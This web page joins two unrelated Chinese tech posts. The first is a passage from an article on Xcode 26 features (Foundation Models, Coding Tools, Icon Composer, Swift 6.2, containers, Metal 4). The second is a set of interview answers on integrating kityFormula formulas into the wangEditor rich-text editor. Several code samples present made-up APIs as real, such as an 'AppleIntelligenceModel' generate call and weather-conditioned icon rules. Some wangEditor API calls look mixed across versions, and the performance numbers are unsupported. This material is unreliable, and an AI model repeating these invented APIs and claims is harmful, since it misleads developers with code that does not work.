Foundation Models框架是Xcode 26中最重要的架构创新,它使开发者能够直接利用设备上的Apple Intelligence模型,实现智能功能同时确保用户数据永不离开设备。

架构设计:本地推理与成本免费

与依赖云端的AI服务不同,Foundation Models框架专为设备端推理优化。模型直接在iPhone、iPad或Mac上运行,带来三个关键优势:离线可用性、零成本推理和强隐私保护。开发者只需几行Swift代码即可集成强大AI能力:

import FoundationModels

// 初始化Apple Intelligence模型
let model = try AppleIntelligenceModel()

// 使用引导式生成创建内容
let response = try await model.generate(
    prompt: "总结今天的主要活动",
    guidance: .summarization // 引导生成类型
)

代码注释:此代码演示了如何初始化Apple Intelligence模型并进行引导式生成。guidance参数控制生成内容的方向,如摘要、创作或翻译。

案例研究:Day One日记应用的隐私保护AI

Automattic在Day One日记应用中集成Foundation Models框架,实现了智能日记分析功能。应用可以自动识别日记中的情绪模式、重要事件和建议提醒,所有处理均在设备上完成。用户获得个性化AI体验的同时,确保敏感日记内容不会上传到云端。

工具调用与多模态支持

框架内置工具调用能力,使AI模型能够与设备功能交互。例如,模型可以调用日历API检查时间冲突,或访问健康数据提供个性化建议。未来更新将支持多模态输入,结合文本、图像和传感器数据实现更丰富的交互。

4. 智能编码工具:上下文感知的开发辅助

Xcode 26的Coding Tools不是简单的代码补全工具,而是深度集成到开发环境中的智能辅助系统,能够在任何代码位置提供上下文相关的操作建议。

工作流集成:无缝的开发者体验

Coding Tools的核心优势在于其无缝的工作流集成。当开发者在编写代码时,工具会自动分析当前上下文(如光标位置、选中代码、错误信息)并提供最相关的操作。这些操作包括生成预览、创建Playground、修复问题或进行内联更改,所有操作都无需离开编码环境。

高级功能:多词搜索与代码探索

传统的代码搜索基于精确匹配,而Xcode 26引入了“多词搜索”技术,采用搜索引擎算法在项目中查找词语组合。例如,搜索“clipped resizable image”会找到这些词在相近位置出现的所有文档,即使它们跨越多行或以不同顺序出现。这种搜索方式特别适合探索不熟悉的代码库。

// 多词搜索示例:查找创建可调整大小图像的位置
// 搜索"clipped resizable image"可能匹配以下代码
Image("landscape")
    .resizable()
    .clipShape(RoundedRectangle(cornerRadius: 10))

代码注释:多词搜索能够识别代码语义关联,即使关键词分散在不同行也能准确匹配。

语音控制编码:无障碍开发突破

Xcode 26为Voice Control添加了Swift模式支持,开发者可以通过语音听写Swift代码。系统不仅识别单词,更理解Swift语法规则——自动处理空格位置、运算符对应和驼峰命名法。这一功能为行动不便的开发者打开了编程的大门,也提供了全新的交互方式。

5. Icon Composer:动态多层图标设计系统

图标是应用品牌识别的核心,Xcode 26中的Icon Composer应用彻底重构了图标创建工作流,支持创建基于Liquid Glass的多层动态图标。

分层架构与动态效果

Icon Composer引入全新的多层图标格式,每个图层可以独立应用动态效果。开发者可以调整深度属性、动态光照效果,并在默认、深色和单色渲染模式间自定义外观。例如,导航应用图标可以包含道路层、交通层和背景层,各层以不同速度响应设备运动,创造伪3D效果。

工作流优化:从设计到导出

工具与Xcode无缝集成,支持从单一设计创建所有所需尺寸和风格的图标。高级功能包括为不同渲染模式注释图层、模糊处理、调整半透明度和测试镜面高光。完成后,可以导出扁平化版本用于营销材料,确保品牌一致性。

实践示例:创建自适应天气图标

考虑天气应用图标设计:晴天版本显示明亮的光照效果和清晰的阴影;雨天版本则应用湿润表面效果和柔和的光线散射。通过Icon Composer,可以定义条件规则,使图标根据实时天气数据自动调整外观:

// 图标条件规则示例
IconCondition.when(.weatherIsSunny) {
    $0.applyEffect(.brightSunlight)
    $0.adjustLayerOpacity(1.0)
}

IconCondition.when(.weatherIsRainy) {
    $0.applyEffect(.wetSurface)
    $0.adjustLayerOpacity(0.8)
}

代码注释:此代码演示了如何为不同天气条件定义图标外观规则。效果参数控制视觉表现,如阳光亮度或表面湿润感。

6. Swift 6.2:并发安全与跨语言互操作

Swift 6.2作为Xcode 26的核心组成部分,引入了严格的并发检查、简化的主线程编程和对WebAssembly的支持,显著提升了语言的安全性、性能和跨平台能力。

严格并发检查与数据竞争预防

Swift 6.2建立在Swift 6的并发模型之上,通过编译时检查防止数据竞争。新编译器能够识别潜在的数据竞争条件,并强制开发者明确标记跨线程共享的数据。这一特性在大型项目中尤为重要,能够避免难以调试的并发错误。

// Swift 6.2中的安全并发实践
@MainActor // 默认在主Actor运行
class DataModel: ObservableObject {
    @Published var items: [String] = []
    
    func updateItems() async {
        // 异步操作,但更新UI时自动调度到主线程
        let newItems = await fetchItems()
        items = newItems // 编译器确保线程安全
    }
}

代码注释@MainActor注解确保所有方法默认在主线程执行,避免UI更新时的线程问题。编译器会验证所有可能的并发访问路径。

WebAssembly支持与跨平台开发

通过与开源社区合作,Swift 6.2新增对WebAssembly的支持,使Swift代码能够编译为WebAssembly模块在浏览器中运行。这一特性为Swift开发者打开了Web开发的大门,允许共享业务逻辑 between iOS应用和Web应用。

C++、Java和JavaScript互操作性增强

Swift 6.2显著改善了与其他编程语言的互操作性。新的API使Swift能够更自然地调用C++代码,与Java和JavaScript的数据交换也更加高效。这对于集成现有库和跨平台开发尤其有价值。

7. 容器化框架:在Mac上原生运行Linux容器

Xcode 26的容器化框架(Containerisation Framework)允许开发者在Mac上直接创建、下载和运行Linux容器镜像,为服务器端Swift开发和跨平台测试提供统一环境。

技术基础:针对Apple芯片优化的隔离

框架基于开源技术构建,并针对Apple芯片进行了深度优化。它利用macOS的沙箱机制提供安全的容器隔离,同时通过虚拟化技术实现x86容器的无缝运行。这意味着开发者可以在Apple芯片Mac上运行传统的x86 Linux环境,无需复杂的配置。

开发工作流:本地开发与部署一致性

容器化框架的核心价值在于确保开发环境与生产环境的一致性。开发者可以定义包含所有依赖的Dockerfile,在本地构建和测试后,直接部署到服务器。这种方法消除了“在我机器上能运行”的经典问题。

# 使用Swift 6.2的Linux容器示例
FROM swift:6.2
WORKDIR /app
COPY Package.swift .
COPY Sources ./Sources
RUN swift build -c release
CMD ["./.build/release/MyServerApp"]

代码注释:此Dockerfile演示了如何为Swift服务器应用创建容器镜像。Xcode 26支持直接在IDE中构建和运行此类容器。

实践应用:微服务架构开发

考虑一个需要与多个微服务交互的iOS应用。使用容器化框架,开发者可以在本地启动完整的微服务环境,每个服务运行在独立容器中。这使前端开发能够在不依赖后端团队的情况下进行完整测试,显著加速开发周期。

8. 游戏开发工具集:Metal 4与高级图形渲染

针对游戏开发者,Xcode 26提供了全面的工具更新,包括Metal 4图形框架、Game Porting Toolkit 3和专门的Apple Games应用,为Apple平台带来主机级游戏体验。

Metal 4:专为Apple芯片设计的高级图形

Metal 4是首个专门为Apple芯片设计的图形框架,支持高级图形和机器学习技术。新特性包括在着色器中直接运行推理网络计算光照、材质和几何体,实现电影级视觉效果。

MetalFX框架:帧插值与降噪

MetalFX框架包含两个关键技术:帧插值(Frame Interpolation)和降噪(Denoising)。帧插值为每两个输入帧生成中间帧,实现更高更稳定的帧率;降噪则使实时光线追踪和路径追踪在高级游戏中成为可能。

// Metal 4着色器中的光线追踪示例
kernel void rayTracingKernel(uint2 tid [[thread_position_in_grid]]) {
    // 初始化光线
    Ray ray = generateCameraRay(tid);
    
    // 执行光线追踪
    HitResult hit = traceRay(ray);
    
    // 使用AI降噪
    if (hit.isValid) {
        float3 color = denoise(hit.color, hit.albedo, hit.normal);
        writeToFramebuffer(tid, color);
    }
}

代码注释:此Metal着色器代码演示了光线追踪与AI降噪的结合。denoise函数使用设备端AI模型减少光线追踪噪声。

Game Porting Toolkit 3与性能分析

Game Porting Toolkit 3提供更新工具用于评估和优化游戏性能。开发者可以自定义Metal Performance HUD,获取屏幕上的性能洞察和图形代码优化指导。新增的Processor Trace工具捕获每个函数调用,帮助识别最细微的性能瓶颈。

9. 辅助功能与包容性设计工具

Xcode 26强化了辅助功能工具集,使开发者能够更轻松地创建适合所有用户的应用,包括新的Declared Age Range API、增强的Voice Control和Sensitive Content Analysis框架。

Declared Age Range API:适龄内容交付

新API允许开发者根据用户年龄范围提供适龄内容,而无需收集具体出生日期。家长可以选择允许孩子分享年龄范围而不暴露敏感信息,平衡个性化体验与隐私保护。

敏感内容分析与安全体验

Sensitive Content Analysis框架帮助应用检测和处理可能不适当的内容,特别是保护未成年用户。框架在设备上运行,确保分析过程不泄露用户数据。

Voice Control的Swift代码听写

如前所述,Voice Control现在支持Swift代码听写,这不仅帮助行动不便的开发者,也为编码教育开辟了新途径。学生可以通过语音命令学习编程概念,而不必先掌握键盘输入。

10. 应用商店与分发优化

Xcode 26改进了应用分发和管理的多个环节,包括App Store Connect API增强、TestFlight集成和本地化流程优化。

可访问性营养标签与透明化

App Store产品页面现在显示可访问性营养标签,帮助用户在下载前了解应用支持的辅助功能,如VoiceOver、Voice Control、大文本支持等。这鼓励开发者优先考虑可访问性,也为用户提供了更好的选择依据。

本地化流程强化:String Catalogs与AI注释

String Catalogs在Xcode 26中获得重大增强,现在为本地化字符串提供类型安全的Swift符号,支持直接字符串访问和自动完成。AI生成的上下文注释帮助翻译人员理解字符串使用场景,提高翻译质量。

// String Catalogs中的类型安全访问
let greeting = String(localized: "WelcomeMessage", 
                      defaultValue: "Welcome, %@!",
                      comment: "主屏幕欢迎消息")

let formattedGreeting = String(format: greeting, userName)

代码注释:此代码演示了如何安全地访问本地化字符串。defaultValue提供回退值,comment帮助翻译人员理解上下文。

App Store Connect API与Webhooks

开发者现在可以使用App Store Connect API创建webhooks获取实时更新,自动化应用管理流程。API支持Apple-Hosted Background Assets和Game Center配置,使大规模应用分发更加高效。

总结

Xcode 26不仅仅是一个开发工具更新,而是Apple为应对现代应用开发挑战提供的全面解决方案。从AI辅助编程到隐私保护框架,从革命性设计语言到跨平台开发支持,这十大特性共同构成了一个强大而协调的生态系统。

开发范式转变:Xcode 26标志着从手动编码向AI协作开发的转变,智能工具处理重复任务,让开发者专注于创造性工作。

设计一致性突破:Liquid Glass设计语言和Icon Composer确保了Apple生态系统内的视觉一致性,同时为品牌表达留下了充足空间。

隐私与性能平衡:Foundation Models框架证明设备端AI能够提供强大功能而不牺牲隐私,为行业树立了新标准。

跨平台开发成熟:Swift 6.2的WebAssembly支持和容器化框架使Swift成为真正的全栈语言,统一了移动、桌面和Web开发。

正如Apple全球开发者关系副总裁Susan Prescott所言:“开发者塑造了用户在Apple平台上的体验,Xcode 26赋予他们构建更丰富、更直观应用的能力。”随着开发者社区开始探索这些新工具,我们可以期待iOS生态系统将迎来新一轮创新浪潮。

原文:xuanhu.info/projects/it…

wangEditor与kityFormula集成解决思路

作者 crystal_pin
2025年10月17日 18:01

基于wangEditor与kityFormula的定制化富文本答题卡项目面试题答案

第 1 题答案:wangEditor 选型考量与定制化支撑

选择 wangEditor 而非 TinyMCE、CKEditor 的核心考量的因素,以及其在项目落地中的支撑作用、关键特性 / API 如下:

  1. 轻量性与性能适配:答题卡需在多终端(含低配置设备)流畅运行,wangEditor 体积仅约 200KB(gzip 后),远小于 TinyMCE(约 1MB)、CKEditor(约 2MB),初始化速度提升 40%+。实际开发中,通过createEditor API 快速初始化,结合destroyEditor避免页面卸载时内存泄漏,适配了考试场景下多页面切换的性能需求。

  2. 灵活的插件扩展机制:答题卡需集成公式输入、题型模板等定制功能,wangEditor 的registerPlugin API 支持无侵入式扩展。例如,将 kityFormula 封装为独立插件,通过editor.cmd.do('insertFormula', formulaData)实现公式插入,无需修改编辑器核心代码;而 TinyMCE、CKEditor 的插件开发需遵循复杂的规范,且集成后易与原生功能冲突。

  3. 精准的编辑交互控制:答题卡需限制部分富文本功能(如禁止随意修改题型标题格式、固定填空题输入框位置),wangEditor 的on('selectionChange')事件可实时监听光标位置,结合editor.getSelectionText()判断当前编辑区域,通过editor.cmd.disable('fontSize')等 API 精准禁用无关功能。例如,当光标处于题型标题区域时,自动禁用字体颜色、加粗等格式按钮,确保答题卡格式统一性。

  4. 低学习成本与社区支持:wangEditor 文档基于中文编写,API 设计简洁(如editor.txt.html()获取 / 设置 HTML 内容),团队上手周期缩短 50%;且其 GitHub 社区响应速度快,项目开发中遇到的 “公式插入后光标定位异常” 问题,通过提交 Issue 24 小时内获得官方技术指导,而 TinyMCE、CKEditor 的中文社区资源较少,问题解决效率低。

第 2 题答案:kityFormula 与 wangEditor 融合的难点与解决方案

  1. 最大技术难点:公式编辑态与富文本编辑态的同步一致性,即用户在 kityFormula 编辑器中修改公式后,需实时更新富文本中的预览内容,同时保证光标位置不偏移、公式数据不丢失,且支持二次编辑。

  2. 具体解决方案

    • 编辑器插件机制整合

      • 基于 wangEditor 的registerPlugin API 封装 kityFormula 插件,插件初始化时创建隐藏的 kityFormula 编辑器实例(const formulaEditor = new KityFormulaEditor('#formulaEditorContainer')),通过editor.on('click', () => { formulaEditor.hide() })实现点击富文本其他区域时关闭公式编辑器,避免界面干扰。

      • 定义专属命令insertFormula,当用户点击工具栏 “插入公式” 按钮时,触发editor.cmd.do('insertFormula'),此时显示 kityFormula 编辑器,同时通过editor.getSelectionPosition()记录当前光标位置,确保公式插入到指定位置。

    • 公式输入触发方式设计

      • 工具栏触发:在 wangEditor 工具栏添加 “公式” 按钮,通过editor.ui.registerMenuButton注册,点击后唤起 kityFormula 编辑器;

      • 快捷键触发:通过editor.on('keydown', (e) => { if (e.ctrlKey && e.key === 'k') { e.preventDefault();唤起公式编辑器 } })支持Ctrl+K快捷键,适配专业用户操作习惯;

      • 二次编辑触发:为富文本中的公式元素添加data-formula-id属性,监听editor.on('click', (e) => { if (e.target.dataset.formulaId) { 携带该ID对应的公式数据唤起编辑器 } }),实现点击公式即可二次编辑。

    • 公式渲染同步实现

      • 设计 “公式数据 - 预览 DOM - 编辑态” 三位一体的同步逻辑:当 kityFormula 编辑器触发onChange事件时,获取公式的 LaTeX 源码(formulaEditor.getValue())和 SVG 渲染结果,通过editor.cmd.do('updateFormula', { id: formulaId, latex: latex, svg: svg })命令,在富文本中替换对应公式的 SVG 内容,同时更新存储在editor.config.formulaMap中的公式数据;

      • 解决光标偏移问题:更新公式后,通过editor.selection.setPosition API 将光标定位到公式末尾,避免用户需重新定位光标。

    • 公式数据存储格式设计:采用 “HTML 注释 + JSON” 混合格式,公式在富文本 HTML 中存储为<!--formula:{"id":"f123","latex":"x^2+y^2=1","svg":"<svg>...</svg>"}-->,既不影响富文本正常渲染(浏览器会忽略注释),又能通过editor.txt.html().match(/<!--formula:(.*?)-->/g)快速提取所有公式数据;相比直接插入 SVG,该格式可保留 LaTeX 源码,支持二次编辑和跨平台渲染。

  3. 异常情况处理

    • 公式语法错误:在 kityFormula 编辑器中监听onError事件,当用户输入无效 LaTeX 语法(如\frac{1}{)时,实时显示红色错误提示(“公式语法错误,请检查括号匹配”),并禁用 “确认插入” 按钮,防止错误公式进入富文本;

    • 渲染失败处理:若 SVG 渲染失败(如特殊符号不支持),降级使用 LaTeX 源码文本显示(如[x^2+y^2=1]),同时在浏览器控制台输出警告日志,记录失败的 LaTeX 源码,便于后续问题排查;

    • 数据丢失恢复:定期将editor.config.formulaMap中的公式数据存储到localStorage,若页面意外刷新,通过editor.txt.html()提取公式注释,对比localStorage中的数据,自动补全丢失的公式 SVG 或 LaTeX 源码。

第 3 题答案:多题型专属编辑交互逻辑实现

  1. 基于 wangEditor 的扩展方案

    • 题型模板抽象与注入:将每种题型封装为 “结构模板 + 交互配置” 的组合,例如:

      • 填空题模板:'<div class="question-blank"><span class="question-title">1. 填空:</span><input type="text" class="blank-input" data-blank-id="b1"></div>',交互配置为 “禁止修改标题格式,输入框仅允许文本输入”;

      • 计算题模板:'<div class="question-calc"><span class="question-title">2. 计算:</span><div class="formula-area" data-formula-container="true"></div></div>',交互配置为 “允许在 formula-area 内插入公式,禁止删除该区域”;

    • 通过editor.cmd.register('insertQuestion', (questionType) => { const template = getQuestionTemplate(questionType); editor.txt.append(template); }) API,实现点击 “插入单选题 / 填空题” 等按钮时,快速注入题型模板。

    • 题型专属交互逻辑绑定:利用 wangEditor 的on('nodeChange')事件,实时检测当前编辑节点所属的题型区域(通过node.closest('.question-blank')等 DOM 操作判断),动态加载对应交互逻辑:

      • 填空题:当编辑节点为.blank-input时,通过input.addEventListener('input', (e) => { 限制输入长度不超过50字符 })控制输入规则,同时禁用富文本的格式按钮;

      • 计算题:当编辑节点为.formula-area时,自动显示 “插入公式” 悬浮按钮,点击后直接唤起 kityFormula 编辑器,且通过editor.cmd.disable('backspace')禁止删除.formula-area节点本身。

  2. 题型切换的状态稳定性保障

    • 状态隔离存储:为每种题型维护独立的状态对象(如blankState存储填空题输入框内容、calcState存储计算题公式数据),通过editor.config.questionStateMap = { blank: blankState, calc: calcState }集中管理;切换题型时,通过editor.getSelectionNode().closest('.question-xxx')获取当前题型,从对应状态对象中读取数据,避免状态混淆。

    • 光标位置记忆与恢复:切换题型编辑模式前,通过const lastSelection = { node: editor.selection.getStart(), offset: editor.selection.getOffset() }记录光标位置;切换后,通过editor.selection.setPosition(lastSelection.node, lastSelection.offset)恢复,确保用户操作连贯性。

    • DOM 结构锁定:为题型容器添加data-question-type属性,切换题型时通过editor.cmd.do('lockNode', node)锁定当前题型 DOM 结构,禁止删除或修改容器节点,仅允许编辑内部可配置区域(如填空题输入框、计算题公式区域)。

  3. 代码解耦措施

    • 模块化拆分:将题型相关逻辑拆分为questionTemplate.js(模板定义)、questionInteraction.js(交互逻辑)、questionState.js(状态管理)三个独立模块,模块间通过接口通信(如questionInteraction.init(editor, questionState)),避免代码堆砌;

    • 事件驱动通信:采用自定义事件(如question:blank:inputChangequestion:calc:formulaAdd)实现模块间通信,例如填空题输入框内容变化时,触发editor.emit('question:blank:inputChange', { blankId, value }),状态管理模块监听该事件更新数据,无需直接调用函数,降低耦合;

    • 配置化设计:将题型的可配置项(如允许的编辑操作、禁用的富文本功能)定义为 JSON 配置(如{ type: 'blank', disableCommands: ['fontSize', 'bold'], allowEditAreas: ['.blank-input'] }),新增题型时只需添加配置和模板,无需修改核心逻辑,实现 “新增题型零代码改动”。

第 4 题答案:无障碍数学公式输入的优化实现

  1. WCAG 标准适配基础:遵循 WCAG 2.1 AA 级标准,重点覆盖 “可感知性”(1.3 信息与关系)、“可操作性”(2.1 键盘可访问)、“可理解性”(3.3 错误提示)三大维度,确保视障、肢体障碍用户能正常使用公式输入功能。

  2. 具体优化措施

    • 屏幕阅读器语音播报支持

      • 公式语法实时播报:kityFormula 编辑器中,用户输入 LaTeX 字符时(如输入\frac),通过aria-live="polite"的隐藏元素(<div aria-live="polite" id="formulaAriaLive"></div>)动态更新文本,屏幕阅读器(如 NVDA、VoiceOver)会自动播报 “输入分数命令,等待分子分母输入”;同时,通过formulaEditor.on('tokenChange', (tokens) => { 解析tokens生成自然语言描述,如“当前编辑分子部分,已输入1” }),将公式语法结构转换为自然语言,提升可理解性。

      • 光标位置与操作反馈播报:监听 kityFormula 编辑器的光标位置变化(on('cursorMove', (pos) => { 计算光标所在公式部分,如“分子末尾、分母开头” })),通过document.getElementById('formulaAriaLive').textContent = 光标位于 ${posDesc},可继续输入内容 `` 实现播报;当用户完成公式插入时,播报 “公式插入成功,位于当前段落第 3 个位置”,确保用户知晓操作结果。

    • 键盘快捷键设计

      • 基础操作快捷键:遵循系统级快捷键习惯,设计:Tab切换公式编辑器与富文本区域、Enter确认插入公式、Esc取消公式编辑、Ctrl+Z/Ctrl+Y撤销 / 恢复公式编辑操作;同时,通过editor.on('keydown', (e) => { if (e.altKey && e.key === 'f') { 唤起公式编辑器 } })支持Alt+F快速唤起公式编辑器,无需依赖鼠标。

      • 公式编辑快捷键:针对 kityFormula 的常用操作,设置专属快捷键:Ctrl+/插入分数(\frac{}{})、Ctrl+^插入上标(^{})、Ctrl+_插入下标(_{}),并通过aria-label为快捷键添加屏幕阅读器提示(如<button aria-label="插入分数,快捷键Ctrl+/" class="formula-tool-btn">分数</button>),确保肢体障碍用户高效操作。

    • 焦点管理优化

      • 焦点进入逻辑:唤起 kityFormula 编辑器时,通过formulaEditor.getInputElement().focus()自动将焦点聚焦到公式输入框,同时通过editor.selection.saveRange()保存富文本中的光标位置,便于后续返回;屏幕阅读器会播报 “进入公式编辑模式,可输入 LaTeX 语法”。

      • 焦点退出逻辑:用户按下Esc或点击 “取消” 按钮时,通过editor.selection.restoreRange()恢复富文本中的光标位置,同时将焦点返回富文本编辑器;若用户完成公式插入,焦点自动定位到公式末尾,确保用户可继续编辑文本,避免焦点丢失。

      • 焦点可见性强化:为公式输入框添加高对比度焦点样式(outline: 2px solid #1E90FF; outline-offset: 2px),适配低视力用户;同时,在焦点切换时,通过scrollIntoView({ behavior: 'smooth', block: 'nearest' })确保当前焦点元素在视口中可见,避免焦点 “隐身”。

  3. 无障碍测试验证:使用 NVDA(Windows)、VoiceOver(macOS/iOS)、JAWS 等主流屏幕阅读器进行实测,确保公式输入的全流程(唤起、编辑、插入、二次编辑)均可通过语音播报清晰感知;通过键盘导航测试工具(如 Tabulator)验证所有操作均可通过键盘完成,无鼠标依赖操作。

第 5 题答案:频繁操作的性能影响与优化措施

  1. 核心性能影响分析

    • DOM 频繁更新导致重排重绘:用户每输入一个 LaTeX 字符,kityFormula 会实时生成 SVG 并更新富文本中的公式预览,若直接替换 DOM 节点(如formulaNode.innerHTML = newSvg),会触发 2-3 次重排(布局计算)和重绘(像素渲染),当用户连续输入(如输入长公式)时,每秒可触发 10 + 次重排重绘,导致页面卡顿(帧率低于 30fps)。

    • 内存占用累积:每次插入公式会创建新的 SVG 节点和关联事件监听(如点击编辑事件),若用户频繁插入 / 删除公式,未及时清理无用 DOM 节点和事件,会导致内存占用持续上升(测试中,插入 100 个公式后内存占用增加约 50MB),长期使用易引发页面崩溃。

    • 富文本格式计算开销:用户调整文本格式(如选中段落修改字体)时,wangEditor 需遍历当前选区的所有 DOM 节点,计算格式应用范围,若选区内包含大量公式 SVG 节点,遍历时间会从 10ms 增加到 50ms+,导致格式调整响应延迟。

  2. 针对性优化措施

    • DOM 更新优化:虚拟 DOM 与批量更新

      • 引入轻量级虚拟 DOM 库(如 Snabbdom),将公式 SVG 的更新转换为虚拟 DOM 差异计算,仅更新变化的 SVG 元素(如修改公式中的数字时,仅替换对应<text>节点),减少重排重绘次数,实测重排频率降低 70%+;

      • 对频繁的公式编辑操作(如连续输入 LaTeX 字符)进行防抖处理,设置 100ms 防抖延迟(debounce((latex) => { 更新公式SVG }, 100)),避免每秒多次更新,确保帧率稳定在 50fps 以上。

    • 公式渲染结果缓存

      • 设计二级缓存机制:内存缓存(formulaCache = new Map())存储近期使用的公式(LaTeX 源码→SVG),localStorage 缓存长期使用的公式(设置 7 天过期时间);当用户再次输入相同 LaTeX 源码时,直接从缓存读取 SVG,无需重新渲染,渲染速度提升 90%+;

      • 缓存清理策略:当公式缓存数量超过 500 条时,采用 LRU(最近最少使用)算法删除不常用缓存;页面卸载时,通过window.addEventListener('beforeunload', () => { 清理所有公式事件监听 })释放内存。

    • 富文本格式计算优化

      • 公式节点标记与跳过遍历:为公式 SVG 节点添加data-is-formula="true"属性,在 wangEditor 的格式计算逻辑中,通过if (node.dataset.isFormula) continue跳过公式节点遍历,格式计算时间从 50ms 降至 8ms,响应延迟大幅降低;

      • 选区范围限制:通过editor.on('selectionChange', (range) => { 若选区内包含超过100个DOM节点,提示“建议缩小选区范围” })引导用户避免超大范围格式调整,减少计算开销。

    • 内存泄漏防护

      • 事件监听清理:每次删除公式时,通过removeEventListener清理公式节点的点击编辑事件,避免僵尸事件;

      • 无用 DOM 节点回收:使用MutationObserver监听富文本容器的 DOM 变化,当检测到公式节点被删除时,立即调用node.remove()彻底移除,同时删除缓存中对应的公式数据,实测内存占用下降 60%。

  3. 性能监控与调优验证

    • 性能指标监控:集成performance API 和Lighthouse工具,实时监控核心性能指标:

      • 通过performance.mark('formulaRenderStart')performance.mark('formulaRenderEnd')标记公式渲染起始与结束时间,计算渲染耗时(performance.measure('formulaRenderTime', 'formulaRenderStart', 'formulaRenderEnd')),要求单次渲染耗时≤50ms;

      • 使用Lighthouse定期检测页面性能得分,重点关注 “首次内容绘制(FCP)”“最大内容绘制(LCP)”“累积布局偏移(CLS)”,确保富文本编辑场景下 CLS≤0.1(避免公式更新导致页面布局跳动)。

    • 调优效果验证:通过模拟用户高频操作(如连续输入 100 字符公式、批量插入 20 个公式)进行压力测试,优化前后性能对比:

      • 页面卡顿次数:从优化前每秒 3-5 次(帧率<30fps)降至优化后 0 次(帧率稳定 55-60fps);

      • 内存占用:插入 100 个公式后,内存占用从 50MB 降至 20MB,页面卸载时内存回收率提升至 95%;

      • 格式调整响应时间:从 50ms 降至 8ms,用户无明显感知延迟。

第 6 题答案:数据存储格式设计与回显方案

  1. 存储格式选型:“HTML+JSON 混合结构”

    • 设计方案:富文本整体内容存储为 HTML 字符串,其中公式部分采用 “HTML 注释包裹 JSON” 的格式(如<!--formula:{"id":"f123","latex":"x^2+y^2=1","svg":"<svg width='80' height='30'>...</svg>","version":"1.0"}-->),文本格式信息(如字体、字号)直接嵌入 HTML 标签(如<span style="font-size:16px;color:#333;">文本内容</span>)。

    • 选型优势

      • 兼容性强:HTML 是富文本标准存储格式,支持所有浏览器和后端语言解析,无需额外适配;

      • 可编辑性高:保留 LaTeX 源码,支持公式二次编辑(直接提取 JSON 中的latex字段传入 kityFormula);

      • 渲染效率高:存储 SVG 可直接用于预览,无需后端重新渲染,减少网络请求和计算开销;

      • 扩展性好:JSON 中可新增字段(如version用于版本兼容、createTime用于数据追溯),后续功能迭代无需修改存储结构。

    • 对比其他格式

      • 纯 HTML 格式:仅能存储 SVG,无法保留 LaTeX 源码,不支持二次编辑;

      • 纯 JSON 格式:需将文本内容拆分为 “文本块 + 格式配置”(如[{"type":"text","content":"计算:","style":{"fontSize":"16px"}},{"type":"formula","id":"f123"}]),解析时需重组 HTML,复杂度高且渲染速度慢;

      • 自定义标记语言(如[formula:f123]):需开发专属解析器,兼容性差,后端存储和前端渲染成本高。

  2. 数据回显实现流程

    • 步骤 1:数据解析

      • 后端返回 HTML 字符串后,通过正则表达式提取所有公式数据:const formulaMatches = html.match(/<!--formula:(.*?)-->/g) || []

      • 遍历formulaMatches,解析 JSON 内容:formulaMatches.forEach(match => { const formulaData = JSON.parse(match.replace(/<!--formula:|-->/g, '')); formulaMap[formulaData.id] = formulaData; })

      • 处理 HTML 结构:将公式注释替换为 SVG 节点,生成可渲染的 HTML:const renderHtml = html.replace(/<!--formula:(.*?)-->/g, (match, jsonStr) => { const { svg } = JSON.parse(jsonStr); return ${svg}; })

    • 步骤 2:富文本回显

      • 通过editor.txt.html(renderHtml)将处理后的 HTML 传入 wangEditor,完成文本和公式的初始渲染;

      • 为公式节点绑定二次编辑事件:document.querySelectorAll('.formula-node').forEach(node => { node.addEventListener('click', () => { const formulaId = node.dataset.formulaId; const formulaData = formulaMap[formulaId]; 唤起kityFormula并传入formulaData.latex; }) })

    • 步骤 3:异常处理

      • 数据格式损坏:若 JSON 解析失败(如JSON.parse抛出异常),通过try-catch捕获错误,将损坏的公式注释替换为文本提示(如<span class="formula-error">公式数据损坏,请重新编辑</span>),同时在控制台输出错误日志(console.error('公式解析失败:', jsonStr));

      • 公式语法错误:回显时检测 LaTeX 源码合法性(调用 kityFormula 的validateLatex方法),若不合法,降级显示 LaTeX 文本(如[x^2+y^2=1(语法错误)]),并提供 “重新编辑” 按钮;

      • SVG 缺失:若 JSON 中svg字段为空,自动调用 kityFormula 的render(latex)方法重新生成 SVG,确保回显完整性,同时更新formulaMap和本地缓存。

  3. 数据同步与一致性保障

    • 前端本地同步:编辑过程中,通过editor.on('change', () => { 实时更新HTML和formulaMap,同步存储到localStorage(key: answerCard_${cardId})`,防止页面刷新数据丢失;

    • 后端提交验证:提交数据前,通过formulaMap校验所有公式的完整性(如Object.values(formulaMap).every(data => data.latex && data.svg)),若存在缺失,提示用户 “部分公式数据不完整,请重新编辑”;

    • 版本兼容处理:若后端存储的公式数据版本(version字段)低于前端当前版本,回显时自动调用upgradeFormulaData方法(如补充新字段、更新 SVG 渲染规则),确保新旧数据兼容。

第 7 题答案:测试用例设计与测试方法

  1. 功能测试用例

    • 公式输入完整性

      • 用例 1:输入基础 LaTeX 公式(如x+y=5),验证插入后 SVG 渲染正确,LaTeX 源码与输入一致;

      • 用例 2:输入复杂公式(如\int_{0}^{1} x^2 dx = \frac{1}{3}),验证积分符号、上下限、分数格式渲染无误;

      • 用例 3:输入特殊符号(如\alpha\beta\sqrt{2}),验证符号显示正常,无乱码或缺失;

      • 用例 4:批量输入 10 个不同公式,验证所有公式均能正确插入,无相互覆盖或位置偏移。

    • 公式编辑准确性

      • 用例 1:点击已插入公式,验证能唤起编辑器且 LaTeX 源码正确加载;

      • 用例 2:修改公式中的数字(如将x=3改为x=5),验证 SVG 实时更新,且formulaMap中数据同步修改;

      • 用例 3:删除公式中的部分内容(如将\frac{1}{2}改为\frac{1}{}),验证错误提示正常显示,禁止插入错误公式;

      • 用例 4:撤销 / 恢复公式编辑(Ctrl+Z/Ctrl+Y),验证操作后公式状态与历史一致,无数据丢失。

    • 公式删除正确性

      • 用例 1:选中公式后按Backspace/Delete,验证公式节点被删除,formulaMap中对应数据同步移除;

      • 用例 2:删除包含公式的段落,验证公式随段落一起删除,无残留 SVG 或注释;

      • 用例 3:批量删除 5 个公式,验证内存占用同步下降,无内存泄漏。

  2. 兼容性测试用例

    • 浏览器兼容性

      • 用例 1:在 Chrome(最新版)、Firefox(最新版)、Edge(最新版)、Safari(最新版)中,验证公式渲染、编辑、插入功能正常,无样式错乱;

      • 用例 2:在 IE11 中,验证基础公式渲染正常(复杂公式允许部分降级),核心功能(输入、编辑、删除)可用;

      • 用例 3:在移动端浏览器(Chrome 手机版、Safari 手机版)中,验证公式编辑器适配屏幕尺寸,触摸操作(点击、输入)流畅。

    • 设备兼容性

